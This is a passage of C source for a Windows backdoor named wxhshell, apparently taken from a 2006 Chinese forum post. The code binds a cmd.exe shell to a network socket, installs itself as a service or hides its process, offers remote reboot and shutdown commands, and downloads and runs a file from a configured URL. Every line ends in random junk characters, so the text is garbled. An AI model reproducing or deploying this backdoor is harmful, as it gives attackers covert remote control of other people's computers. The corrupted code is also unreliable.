      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ln:6@Ok)5%  
    break; $inlI_  
  } fwQVxJe  
  // 安装 YBh|\  
  case 'i': { )U12Rshl  
    if(Install()) =~zsah6N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hr$Wt ?B  
    else 5~D(jHY;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ebno:)  
    break; '8%jA$o\g  
    } ;)~}/nR<a  
  // 卸载 =LXjq~p  
  case 'r': { YP E1s  
    if(Uninstall()) '41'Gn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .3 >"qv  
    else |w5m2Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S[ch/  
    break; n*A?>NV  
    } 37apOK4+  
  // 显示 wxhshell 所在路径 #($~e|  
  case 'p': { r{ >Q{$Q  
    char svExeFile[MAX_PATH]; ^h\(j*/#X  
    strcpy(svExeFile,"\n\r"); #[ f]-c(!  
      strcat(svExeFile,ExeFile); :eIi^K z[  
        send(wsh,svExeFile,strlen(svExeFile),0); Z8C~o)n9  
    break; }NjZfBQW`  
    } Ri>4:V3K  
  // 重启 EfX\"y  
  case 'b': { e!W U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "C0?s7Y  
    if(Boot(REBOOT)) wZ4w`|'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WwsH7X)  
    else { >|X )  
    closesocket(wsh); )]}G8A  
    ExitThread(0); D:] QBA)C  
    } wE[gp+X~  
    break; 6am g*=]  
    } _'8P8 T&  
  // 关机 1aI&jdJk  
  case 'd': { p{ Xde   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ziDvDu=  
    if(Boot(SHUTDOWN)) GP>\3@>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;b{yu|  
    else { kEgpF{"%n  
    closesocket(wsh); clG@]<a`_  
    ExitThread(0); 7|5X> yt  
    } Ii9[[I  
    break; F f{,zfN+3  
    } BLN|QaZ  
  // 获取shell +m9ouF  
  case 's': { }!Y=SP1e  
    CmdShell(wsh); N5[^W`Qf  
    closesocket(wsh); HQvJ*U4++  
    ExitThread(0); pMHF u/|Pr  
    break; z$gtGrU  
  } kmUL^vF  
  // 退出 r<$o [,W  
  case 'x': { 0iYo&q'n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); NnH]c+  
    CloseIt(wsh); NSa6\.W)  
    break; zO`4W!x&  
    } @(bg#  
  // 离开 C.BlB  
  case 'q': { 2HUw^ *3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }?\^^v h7  
    closesocket(wsh); 8.,d`~  
    WSACleanup(); P_4E<"eK  
    exit(1); 5JHWt<n{P  
    break; V/3@iOwD  
        } 7u{V1_ n1  
  } ^Q6?T(%$  
  } 2E8G 5?qe)  
f8 BZkh  
  // 提示信息 E!'6v DVC:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2x>7>;>  
} a^={X<K|/  
  } MyZVx|7 E  
ZIKSHC9  
  return; ,Nt^$2DZW  
} t~7OtPF  
(dfC}x(3h  
// shell模块句柄 lJ]]FuA-Q  
int CmdShell(SOCKET sock) zYrJ Hn#vB  
{ nY7gST  
STARTUPINFO si; &wAVO_s  
ZeroMemory(&si,sizeof(si)); Kt](|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m/Erw"Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hq&|   
PROCESS_INFORMATION ProcessInfo; jST4O"DjM  
char cmdline[]="cmd"; 35Fxzj $  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 42~.N =2  
  return 0; 55 '  
} Y)@Y$_  
EK= y!>  
// 自身启动模式 [UXN= 76N  
int StartFromService(void) |h }4J  
{ IU<lF)PF$  
typedef struct )Gavjj&uJ  
{ DuNindo 8  
  DWORD ExitStatus; `m#-J;la  
  DWORD PebBaseAddress; Vpne-PW  
  DWORD AffinityMask; Jz=|-F(Sy  
  DWORD BasePriority; ~4pP( JP  
  ULONG UniqueProcessId; ,f{w@Er  
  ULONG InheritedFromUniqueProcessId; HMC-^4\%[  
}   PROCESS_BASIC_INFORMATION;  =n5n  
_Dd>e=v  
PROCNTQSIP NtQueryInformationProcess; #|4G,!  
=\_gT=tZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m% 3D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; HdgNy\  
x!fG%o~h  
  HANDLE             hProcess; QyxUK}6mr  
  PROCESS_BASIC_INFORMATION pbi; ]=VRct "  
^*i0~_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e'>q( B  
  if(NULL == hInst ) return 0; 9Vqy<7i1  
>s 6ye  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^D5Jqh)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pmUf*u-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J^`5L7CO  
iMt3h8  
  if (!NtQueryInformationProcess) return 0; rrr_{d/  
d|oO2yzWv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]/kpEx  
  if(!hProcess) return 0; i^e8.zgywF  
F|{uA/P{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3rB0H   
,,BP}f+l$  
  CloseHandle(hProcess); =/_uk{  
_XT'h;m  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yhYF "~CM  
if(hProcess==NULL) return 0; ,[IDC3.4^R  
FLs$  
HMODULE hMod; zPND $3&'  
char procName[255]; [nZIV  
unsigned long cbNeeded; -&sY*(:n_  
t))MZw&@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S\h5 D2G;  
v+"4YIN  
  CloseHandle(hProcess); w6Nn x5Ay  
SF&2a(~s  
if(strstr(procName,"services")) return 1; // 以服务启动 5e$1KN`  
vjS=ZinN"  
  return 0; // 注册表启动 Lj(cCtb)  
} }rI:pp^KS  
?!&%-R6*  
// 主模块 C&>*~  
int StartWxhshell(LPSTR lpCmdLine) :u./"[G  
{ GE(~d '  
  SOCKET wsl; 3PGAUQR#"q  
BOOL val=TRUE; _<LL@IX  
  int port=0; @U18Dj[  
  struct sockaddr_in door; chKK9SC+|  
/ n_s"[I4  
  if(wscfg.ws_autoins) Install(); ?/"|tuQMW  
cd1G.10  
port=atoi(lpCmdLine); R8k4?_W?T  
_0v+'&bz  
if(port<=0) port=wscfg.ws_port; sde>LZet/  
}VZExqm)  
  WSADATA data; itP`{[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jZzTnmm&?  
1'\QD`M9^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X0u,QSt' O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q9_ $&9  
  door.sin_family = AF_INET; RC/ 3\ '  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4_kN';a4Q  
  door.sin_port = htons(port); tLWw< )t  
Bj1%}B  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R ,qQC<  
closesocket(wsl);  vUJ; D  
return 1; 8Rwk o6x  
} u*G<?  
a&x:_vv  
  if(listen(wsl,2) == INVALID_SOCKET) { )^ Y+Vn  
closesocket(wsl); az6 &  
return 1; Zt!A!Afu  
} Os@b8V 8,A  
  Wxhshell(wsl); Fs(PVN  
  WSACleanup(); Z-Qp9G'   
b/'c h  
return 0; Mg.%&vH\  
N! 7}B  
} iyl i/3|  
RkYn6  
// 以NT服务方式启动 :.,9}\LK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]alc%(=  
{ t`"m@  
DWORD   status = 0; ]a4U\yr  
  DWORD   specificError = 0xfffffff; M_};J;  
cdt9hH`Cd  
  serviceStatus.dwServiceType     = SERVICE_WIN32; l,7& z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; p0bWzIH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kun/KY  
  serviceStatus.dwWin32ExitCode     = 0; &rBe -52  
  serviceStatus.dwServiceSpecificExitCode = 0; &.,K@OFE}  
  serviceStatus.dwCheckPoint       = 0; E7fQ9]  
  serviceStatus.dwWaitHint       = 0; I_<XL<  
x3=1/#9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ki9&AFs2X  
  if (hServiceStatusHandle==0) return; $] We|  
#m.e9MU  
status = GetLastError(); v 49o$s4J  
  if (status!=NO_ERROR) RW L0@\  
{ ]=00<~ l*q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +-^>B%/&Z  
    serviceStatus.dwCheckPoint       = 0; m!/TJhiQ  
    serviceStatus.dwWaitHint       = 0; 2bNOn%!  
    serviceStatus.dwWin32ExitCode     = status; Cf=H~&`Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,Y/B49  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;7lON-@BI  
    return; 6P1s*u  
  } 2'Dl$DH  
HrBJi  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a/j;1xcc<  
  serviceStatus.dwCheckPoint       = 0; F3}MM dX  
  serviceStatus.dwWaitHint       = 0; {h?pvH_>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &J6`Q<U!  
} R@\}iyM  
 l(?B0  
// 处理NT服务事件,比如:启动、停止 etr-\Cp  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b# N"} -\^  
{ jmID@37t  
switch(fdwControl) Sf*)Z3f  
{ ]nhh|q9r{  
case SERVICE_CONTROL_STOP: NUFz'MPv  
  serviceStatus.dwWin32ExitCode = 0; 5l6/5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qNQ54#  
  serviceStatus.dwCheckPoint   = 0; e^Zm09J  
  serviceStatus.dwWaitHint     = 0; !4vb{AH  
  { 8wsU`40=Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0>sa{Z  
  } fwFJe(.  
  return; xol%\$|  
case SERVICE_CONTROL_PAUSE: <k:I2LF_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; I\. |\^  
  break; 5naFnm7%  
case SERVICE_CONTROL_CONTINUE: 1Z# $X`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gJ6`Kl985O  
  break; @V%\Gspv  
case SERVICE_CONTROL_INTERROGATE: qT$k%(  
  break; :\OSHs<M  
}; q-JTGCFl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #d-({blo<  
} 1>J.kQR^  
RV~fml9c  
// 标准应用程序主函数 P}@AH02  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~Ru\Z-q1  
{ 7ftn gBv?  
QH/py  
// 获取操作系统版本 GJ,&$@8)  
OsIsNt=GetOsVer(); 3f7zW3F  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =?RI`}vw_H  
&h334N|4{  
  // 从命令行安装 ?"x4u#x  
  if(strpbrk(lpCmdLine,"iI")) Install(); C}8#yAS9M  
b(*\4n  
  // 下载执行文件 E3uu vQ#|  
if(wscfg.ws_downexe) { Je6[q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2Vx4"fHP#N  
  WinExec(wscfg.ws_filenam,SW_HIDE); NIV}hf YF  
} #fuUAbU0X  
v"G1vSx)BT  
if(!OsIsNt) { y]j.PT`Cw  
// 如果时win9x,隐藏进程并且设置为注册表启动 YN8x|DLi?  
HideProc(); Mn0.! J "  
StartWxhshell(lpCmdLine); 2)f_L|o,m  
} *2/Jg'de  
else VgH O&vU  
  if(StartFromService()) 'c35%? ]  
  // 以服务方式启动 Z.\q$U7'9  
  StartServiceCtrlDispatcher(DispatchTable); ;I>nA6A  
else cJ4My#w  
  // 普通方式启动 cJo%j -AM  
  StartWxhshell(lpCmdLine); \O|SPhaIf  
7Jn%XxHq  
return 0; ]Z!Y *v  
}
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只看该作者 1 发表于: 2006-10-10
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